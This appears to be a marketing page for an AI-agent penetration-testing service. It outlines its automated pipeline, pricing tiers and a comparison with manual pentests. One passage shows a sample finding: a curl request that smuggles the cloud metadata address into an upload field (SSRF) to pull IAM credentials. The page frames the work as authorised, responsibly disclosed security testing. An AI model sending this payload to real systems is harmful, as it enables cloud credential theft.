A manual pentest takes three weeks and lands as a PDF. In those three weeks your team shipped 400 times, and the adversary iterated on their exploit in an afternoon. The math has already broken.
33 live production targets. Banks. AI labs. E-commerce. Government. Fortune 500. Same code they ship, live in production. Every finding verified twice, then responsibly disclosed.
The same coverage a human red team would bill at roughly $1.3M and 24 months. Delivered over a long weekend. Every finding shipped with a one-command PoC. Responsibly disclosed.
A finding without a reproducible PoC is a rumor. Here is what one of the 134 criticals actually looked like when we handed it back.
curl -s "https://api.<redacted>.com/upload" \
-H "content-type: application/json" \
-d '{"thumbnail_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-api-role"}'
# -> {"status":"ok","preview":"AccessKeyId: ASIA... SecretAccessKey: ... Token: ..."}Deterministic where determinism wins. Agentic where reasoning wins. Wired into a single flow that runs end to end in under an hour.
Five parallel subagents map every subdomain, DNS record, cert log, and person.
Mechanical sweeps: CORS, exposed .git, path traversal, misconfigurations.
Skill-selection matrix routes each finding to a specialist exploitation skill.
Every PoC re-run twice, independently. False positives die on the spot.
Multi-step reasoning stitches low+low findings into critical exploit chains.
Business impact quantified. Regulatory mapping attached to every finding.
Interactive live-updating dashboard. Not a 12-page PDF.
Each skill was extracted from real adversarial patterns and validated against production targets. When the pipeline learns a new pattern, the whole fleet inherits it the next day.
Traditional pentesting is a linear, human-gated process. A consultant, a checklist, a calendar. Scaling means hiring bodies. Coverage was always going to lose.
| Metric | Traditional | Donely Red Team |
|---|---|---|
| Time per target | 2-4 weeks | Under an hour |
| Cost per engagement | $20K-$50K | Subscription |
| Average findings | 5-15 | 48 (mean) |
| Coverage | Best-effort | Systematic, reproducible |
| Report delivery | 2-3 weeks | Live, interactive |
| Reproduction steps | Sometimes | Every finding, one command |
We run the full pipeline against your production surface, verify every finding, and hand it back on a live call within 3 days. No pitch. No PDF. Just the results.
Status 200 does not mean exposed. We verify the response body, not the header. Every candidate is executed twice, independently, before it becomes a finding. Anything we cannot reproduce twice is removed.
Ship daily, get tested daily. Subscription-first because point-in-time scans lie the day after they finish.
For one production app under active development.
For teams shipping daily across multiple surfaces.
Fleet coverage, on-prem, dedicated red-team lead.